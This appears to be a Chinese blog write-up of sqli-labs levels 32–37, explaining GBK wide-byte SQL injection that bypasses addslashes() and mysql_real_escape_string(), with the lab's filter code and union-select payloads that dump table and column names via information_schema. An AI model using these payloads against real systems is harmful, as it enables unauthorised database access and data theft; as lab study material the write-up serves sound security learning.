1. 程式人生 > 實用技巧 >虛擬環境建立

虛擬環境建立

less-32 Bypass addslashes()

less-33 Bypass addslashes()

less-34 Bypass Add SLASHES

less-35 addslashes()

less-36 Bypass MySQL Real Escape String

less-37 MySQL_real_escape_string

寬位元組注入的原理

mysql使用的是gbk編碼的時候,預設認為兩個字元為一個漢字。當網站過濾的機制是採用轉義\的時候,我們可以在網站新增的轉義符號前面構造一個%xx使得變成%xx%5c而被mysql認為是一個漢字,從而繞過轉義。

寬位元組注入最長用的時%df,或者使用ascii碼大於128的也可以 ,一般用129.

看到這裡的時候其實我並沒有理解這段意思,直接看做題過程理解寬位元組注入的原理。

如何轉成url編碼

將十進位制數轉成十六進位制,去最後兩位前面加上百分號

例如129;129(十進位制) -> 0x81 (十六進位制) %81(url編碼)

less-32 Bypass addslashes()

過程:

  1. 原始碼:
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}

輸入1'

發現錯誤為1\', 原始碼中1\\\'中的第1和3個\錶轉義,構造的閉合'就會被當成字串處理,而不是當作id的包裹,所以在這裡沒有作用

思路:
需要在構造一個反斜槓來轉義後一個反斜槓達到過濾的效果。

  • ?id=-1%aa' union select 1,2,3 --+

%aa -> '/'

    • ?id=-1%aa' union select 1,2,3 --+

    • ?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database()) --+

從網上看到還有一種解法

%5c代表\ ,所以我們只要用字母組合使其形成寬位元組,從而使\(斜槓)失效,例如我們這裡用%ee和%5c進行組合,然後構造payload

less-33 Bypass addslashes()

有一些過濾但是
%df,%ee,%5c都可以使用

less-34 Bypass Add SLASHES (POST)

看題目是個POST傳參,那就先傳值進去,然後繼續使用%df寬位元組注入

正常來說回顯應該跟上一關一樣,但是34關並沒有成功。 burp抓包看看

  • a%df'

uname處多了個%25 說明又經過了一次轉碼,所以在burp中直接修改引數可直接執行

之後過程跟上一關一樣

less-35 addslashes()

參考Less-1

less-36 Bypass MySQL Real Escape String

單引號閉合


看了下原始碼只是函式變成mysql_real_escape_string() 與less-32相似

less-37 MySQL_real_escape_string

同Less-34